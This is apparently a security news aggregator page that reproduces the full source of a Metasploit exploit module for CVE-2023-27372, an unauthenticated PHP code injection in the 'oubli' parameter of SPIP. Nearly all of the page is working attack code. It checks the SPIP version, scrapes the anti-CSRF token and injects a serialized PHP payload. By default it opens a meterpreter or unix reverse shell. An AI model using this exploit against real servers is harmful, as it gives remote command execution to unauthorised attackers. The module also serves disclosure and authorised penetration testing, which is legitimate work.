Security
Headlines
HeadlinesLatestCVEs

Headline

SPIP Remote Command Execution

This Metasploit module exploits a PHP code injection in SPIP. The vulnerability exists in the oubli parameter and allows an unauthenticated user to execute arbitrary commands with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions are below 3.2.18, below 4.0.10, below 4.1.18 and below 4.2.1.

Packet Storm
#csrf#vulnerability#web#linux#git#php#xpath#auth
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::CmdStager  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'SPIP form PHP Injection',        'Description' => %q{          This module exploits a PHP code injection in SPIP. The vulnerability exists in the          oubli parameter and allows an unauthenticated user to execute arbitrary commands          with web user privileges. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. Vulnerable versions          are <3.2.18, <4.0.10, <4.1.18 and <4.2.1.        },        'Author' => [          'coiffeur',       # Initial discovery          'Laluka',         # PoC          'Julien Voisin'   # MSF module        ],        'License' => MSF_LICENSE,        'References' => [          [ 'URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-2-1-SPIP-4-1-8-SPIP-4-0-10-et.html' ],          [ 'URL', 'https://therealcoiffeur.com/c11010' ],          [ 'CVE', '2023-27372' ],        ],        'Privileged' => false,        'Platform' => %w[php linux unix],        'Arch' => [ARCH_PHP, ARCH_CMD],        'Targets' => [          [            'Automatic (PHP In-Memory)',            {              'Platform' => 'php',              'Arch' => ARCH_PHP,              'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },              'Type' => :php_memory,              'Payload' => {                'BadChars' => "\x22\x00"              }            }          ],          [            'Automatic (Unix In-Memory)',            {              'Platform' => 'unix',              'Arch' => ARCH_CMD,              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },              'Type' => :unix_memory,              'Payload' => {                'BadChars' => "\x22\x00\x27"              }            }          ],        ],        'Notes' => {          'Stability' => [ CRASH_SAFE ],          'Reliability' => [ REPEATABLE_SESSION ],          'SideEffects' => [IOC_IN_LOGS]        },        'DefaultTarget' => 0,        'DisclosureDate' => '2023-02-27'      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The base path to SPIP application', '/']),      ]    )  end  def check    uri = normalize_uri(target_uri.path, 'spip.php')    res = send_request_cgi({ 'uri' => uri.to_s })    return Exploit::CheckCode::Unknown('Target is unreachable.') unless res    return Exploit::CheckCode::Unknown("Target responded with unexpected HTTP response code: #{res.code}") unless res.code == 200    version_string = res.get_html_document.at('head/meta[@name="generator"]/@content')&.text    return Exploit::CheckCode::Unknown('Unable to find the version string on the page: spip.php') unless version_string =~ /SPIP (.*)/    version = ::Regexp.last_match(1)    if version.nil? && res.headers['Composed-By'] =~ /SPIP (.*) @/      version = ::Regexp.last_match(1)    end    return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless version    print_status("SPIP Version detected: #{version}")    rversion = Rex::Version.new(version)    if rversion >= Rex::Version.new('4.2.0')      if rversion < Rex::Version.new('4.2.1')        return Exploit::CheckCode::Appears      end    elsif rversion >= Rex::Version.new('4.1.0')      if rversion < Rex::Version.new('4.1.18')        return Exploit::CheckCode::Appears      end    elsif rversion >= Rex::Version.new('4.0.0')      if rversion < Rex::Version.new('4.0.10')        return Exploit::CheckCode::Appears      end    elsif rversion >= Rex::Version.new('3.2.0')      if rversion < Rex::Version.new('3.2.18')        return Exploit::CheckCode::Appears      end    end    return Exploit::CheckCode::Safe  end  def execute_command(cmd, args = {})    send_request_cgi(      {        'uri' => args['uri'],        'method' => 'POST',        'vars_post' => {          'page' => 'spip_pass',          'lang' => 'fr',          'formulaire_action' => 'oubli',          'formulaire_action_args' => args['csrf'],          'oubli' => cmd        }      }    )  end  def exploit    uri = normalize_uri(target_uri.path, 'spip.php?page=spip_pass&lang=fr')    res = send_request_cgi({ 'uri' => uri })    fail_with(Msf::Exploit::Failure::Unreachable, "The request to uri: #{uri} did not respond") unless res    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Got an http code that isn't 200: #{res.code}, when sending a request to uri: #{uri}") unless res&.code == 200    csrf = ''    unless (node = res.get_html_document.xpath('//form//input[@name="formulaire_action_args"]')).empty?      csrf = node.first['value']    end    print_status("Got anti-csrf token: #{csrf}")    print_status("#{rhost}:#{rport} - Attempting to exploit...")    oubli = ''    case target['Type']    when :php_memory      oubli = "s:#{payload.encoded.length + 6 + 2}:\"<?php #{payload.encoded}?>\";"    when :unix_memory      oubli = "s:#{payload.encoded.length + 14 + 4}:\"<?php system('#{payload.encoded}')?>\";"    end    execute_command(oubli, { 'uri' => uri, 'csrf' => csrf })  endend

Packet Storm: Latest News

Ubuntu Security Notice USN-7089-6